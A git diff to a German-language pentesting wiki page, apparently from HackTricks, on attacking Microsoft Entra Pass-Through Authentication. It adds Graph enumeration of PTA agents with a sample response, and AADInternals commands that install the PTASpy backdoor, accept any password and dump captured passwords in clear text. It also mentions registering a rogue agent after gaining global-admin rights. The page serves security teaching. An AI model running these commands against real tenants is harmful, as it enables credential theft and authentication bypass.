diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index c379b1065..5c50d702e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Grundinformationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfe-Kosten, da es weniger wahrscheinlich ist, dass Ihre Benutzer vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Azure AD anmelden, **validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory**. +[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory. -In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter** **nicht**, wie bei PHS. +In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter nicht**, wie bei PHS. Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der Cloud erfolgt über einen **Authentifizierungsagenten**, der auf einem **lokalen Server** läuft (er muss nicht auf dem lokalen DC sein). @@ -14,29 +14,63 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
-1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** eingibt. -2. Die **Anmeldeinformationen** werden **verschlüsselt** und in eine **Warteschlange** in Azure AD gesetzt. -3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird **"Pass-through authentication agent"** oder **PTA agent** genannt. +1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet. +2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt. +3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-Through-Authentifizierungsagent"** oder **PTA-Agent** bezeichnet. 4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**. > [!WARNING] > Wenn ein Angreifer die **PTA** **kompromittiert**, kann er alle **Anmeldeinformationen** aus der Warteschlange **sehen** (im **Klartext**).\ -> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton key). +> Er kann auch **beliebige Anmeldeinformationen** für AzureAD **validieren** (ähnlicher Angriff wie bei Skeleton Key). -### On-Prem -> Cloud +### Aufzählung -Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem laufenden **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter**, die eingegeben werden, **validiert** (so dass alle Passwörter für die Authentifizierung gültig sind): +Von Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +Überprüfen Sie, ob der Agent auf dem lokalen Server ausgeführt wird: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > Wenn die **Installation fehlschlägt**, liegt das wahrscheinlich an fehlenden [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Es ist auch möglich, die **im Klartext gesendeten Passwörter an den PTA-Agenten** mit dem folgenden Cmdlet auf dem Computer zu sehen, auf dem das vorherige Backdoor installiert wurde: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` -Dieser Backdoor wird: +Dieses Backdoor wird: - Einen versteckten Ordner `C:\PTASpy` erstellen - Eine `PTASpy.dll` nach `C:\PTASpy` kopieren @@ -45,10 +79,8 @@ Dieser Backdoor wird: > [!NOTE] > Wenn der AzureADConnectAuthenticationAgent-Dienst neu gestartet wird, wird PTASpy „entladen“ und muss neu installiert werden. -### Cloud -> On-Prem - > [!CAUTION] -> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, einen **neuen PTA-Agenten** zu **registrieren**, indem man ihn auf einem **vom Angreifer kontrollierten Gerät** einrichtet. Sobald der Agent **eingerichtet** ist, können wir die **vorherigen** Schritte **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.** +> Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, **einen neuen PTA-Agenten zu registrieren** und die **vorherigen** Schritte zu **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.** ### Seamless SSO @@ -58,7 +90,7 @@ Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Mi seamless-sso.md {{#endref}} -## Referenzen +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)